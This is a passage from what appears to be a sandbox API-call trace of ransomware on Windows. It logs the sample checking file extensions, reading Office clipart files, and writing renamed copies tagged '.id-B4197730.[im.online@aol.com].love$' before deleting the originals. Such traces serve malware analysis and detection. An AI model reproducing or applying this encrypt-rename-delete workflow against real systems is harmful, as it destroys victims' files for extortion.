(lpString1=".doc", lpString2=".WMF") returned -1 [0122.434] lstrlenW (lpString=".docx") returned 5 [0122.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.434] lstrlenW (lpString=".pdf") returned 4 [0122.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.434] lstrlenW (lpString=".xls") returned 4 [0122.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.434] lstrlenW (lpString=".xlsx") returned 5 [0122.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.434] lstrlenW (lpString=".ppt") returned 4 [0122.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.434] lstrlenW (lpString=".zip") returned 4 [0122.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.435] lstrlenW (lpString=".rar") returned 4 [0122.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.435] lstrlenW (lpString=".bz2") returned 4 [0122.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.435] lstrlenW (lpString=".7z") returned 3 [0122.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.435] lstrlenW (lpString=".dbf") returned 4 [0122.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.435] lstrlenW (lpString=".1cd") returned 4 [0122.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.435] lstrlenW (lpString=".jpg") returned 4 [0122.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.435] lstrlenW (lpString=".doc") returned 4 [0122.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.435] lstrlenW (lpString=".docx") returned 5 [0122.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.435] lstrlenW (lpString=".pdf") returned 4 [0122.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.435] lstrlenW (lpString=".xls") returned 4 [0122.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.435] lstrlenW (lpString=".xlsx") returned 5 [0122.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.436] lstrlenW (lpString=".ppt") returned 4 [0122.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.436] lstrlenW (lpString=".zip") returned 4 [0122.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.436] lstrlenW (lpString=".rar") returned 4 [0122.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.436] lstrlenW (lpString=".bz2") returned 4 [0122.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.436] lstrlenW (lpString=".7z") returned 3 [0122.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.436] lstrlenW (lpString=".dbf") returned 4 [0122.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.436] lstrlenW (lpString=".1cd") returned 4 [0122.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.436] lstrlenW (lpString=".jpg") returned 4 [0122.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.436] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.436] lstrlenW (lpString="BD08868_.WMF") returned 12 [0122.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.437] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=40206) returned 1 [0122.437] CloseHandle (hObject=0x2d8) returned 1 [0122.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0122.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.438] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.438] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0122.438] GetLastError () returned 0x0 [0122.438] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0122.991] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0122.993] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.995] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.996] SetEndOfFile (hFile=0x34c) returned 1 [0122.996] CloseHandle (hObject=0x34c) returned 1 [0122.998] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.998] SetEndOfFile (hFile=0x2d8) returned 1 [0123.000] CloseHandle (hObject=0x2d8) returned 1 [0123.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0123.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.001] lstrlenW (lpString=".doc") returned 4 [0123.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.001] lstrlenW (lpString=".docx") returned 5 [0123.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.001] lstrlenW (lpString=".pdf") returned 4 [0123.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.001] lstrlenW (lpString=".xls") returned 4 [0123.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.001] lstrlenW (lpString=".xlsx") returned 5 [0123.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.001] lstrlenW (lpString=".ppt") returned 4 [0123.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.001] lstrlenW (lpString=".zip") returned 4 [0123.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.001] lstrlenW (lpString=".rar") returned 4 [0123.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.001] lstrlenW (lpString=".bz2") returned 4 [0123.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.001] lstrlenW (lpString=".7z") returned 3 [0123.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.001] lstrlenW (lpString=".dbf") returned 4 [0123.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.002] lstrlenW (lpString=".1cd") returned 4 [0123.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.002] lstrlenW (lpString=".jpg") returned 4 [0123.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.002] lstrlenW (lpString=".doc") returned 4 [0123.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.002] lstrlenW (lpString=".docx") returned 5 [0123.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.002] lstrlenW (lpString=".pdf") returned 4 [0123.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.002] lstrlenW (lpString=".xls") returned 4 [0123.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.002] lstrlenW (lpString=".xlsx") returned 5 [0123.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.002] lstrlenW (lpString=".ppt") returned 4 [0123.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.002] lstrlenW (lpString=".zip") returned 4 [0123.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.003] lstrlenW (lpString=".rar") returned 4 [0123.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.003] lstrlenW (lpString=".bz2") returned 4 [0123.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.003] lstrlenW (lpString=".7z") returned 3 [0123.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.003] lstrlenW (lpString=".dbf") returned 4 [0123.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.003] lstrlenW (lpString=".1cd") returned 4 [0123.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0123.003] lstrlenW (lpString=".jpg") returned 4 [0123.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.003] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.003] lstrlenW (lpString="BD19695_.WMF") returned 12 [0123.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0123.004] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=12982) returned 1 [0123.004] CloseHandle (hObject=0x2d8) returned 1 [0123.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0123.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0123.004] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.005] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0123.005] GetLastError () returned 0x0 [0123.005] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0123.007] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0123.009] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.009] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.009] SetEndOfFile (hFile=0x34c) returned 1 [0123.010] CloseHandle (hObject=0x34c) returned 1 [0123.012] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.012] SetEndOfFile (hFile=0x2d8) returned 1 [0123.013] CloseHandle (hObject=0x2d8) returned 1 [0123.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0123.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.014] lstrlenW (lpString=".doc") returned 4 [0123.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.014] lstrlenW (lpString=".docx") returned 5 [0123.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.015] lstrlenW (lpString=".pdf") returned 4 [0123.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.015] lstrlenW (lpString=".xls") returned 4 [0123.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.015] lstrlenW (lpString=".xlsx") returned 5 [0123.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.015] lstrlenW (lpString=".ppt") returned 4 [0123.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.015] lstrlenW (lpString=".zip") returned 4 [0123.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.015] lstrlenW (lpString=".rar") returned 4 [0123.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.015] lstrlenW (lpString=".bz2") returned 4 [0123.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.015] lstrlenW (lpString=".7z") returned 3 [0123.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.015] lstrlenW (lpString=".dbf") returned 4 [0123.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.015] lstrlenW (lpString=".1cd") returned 4 [0123.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.015] lstrlenW (lpString=".jpg") returned 4 [0123.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.016] lstrlenW (lpString=".doc") returned 4 [0123.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.016] lstrlenW (lpString=".docx") returned 5 [0123.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.016] lstrlenW (lpString=".pdf") returned 4 [0123.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.016] lstrlenW (lpString=".xls") returned 4 [0123.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.016] lstrlenW (lpString=".xlsx") returned 5 [0123.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.016] lstrlenW (lpString=".ppt") returned 4 [0123.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.016] lstrlenW (lpString=".zip") returned 4 [0123.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.016] lstrlenW (lpString=".rar") returned 4 [0123.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.016] lstrlenW (lpString=".bz2") returned 4 [0123.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.016] lstrlenW (lpString=".7z") returned 3 [0123.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.016] lstrlenW (lpString=".dbf") returned 4 [0123.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.016] lstrlenW (lpString=".1cd") returned 4 [0123.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0123.017] lstrlenW (lpString=".jpg") returned 4 [0123.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.017] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.017] lstrlenW (lpString="BD19827_.WMF") returned 12 [0123.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0123.017] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=9710) returned 1 [0123.017] CloseHandle (hObject=0x2d8) returned 1 [0123.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0123.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0123.018] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.019] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0123.019] GetLastError () returned 0x0 [0123.019] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0123.021] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0123.023] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.023] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.023] SetEndOfFile (hFile=0x34c) returned 1 [0123.023] CloseHandle (hObject=0x34c) returned 1 [0123.025] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.025] SetEndOfFile (hFile=0x2d8) returned 1 [0123.026] CloseHandle (hObject=0x2d8) returned 1 [0123.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0123.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.027] lstrlenW (lpString=".doc") returned 4 [0123.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.027] lstrlenW (lpString=".docx") returned 5 [0123.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.027] lstrlenW (lpString=".pdf") returned 4 [0123.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.027] lstrlenW (lpString=".xls") returned 4 [0123.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.027] lstrlenW (lpString=".xlsx") returned 5 [0123.027] lstrcmpiW 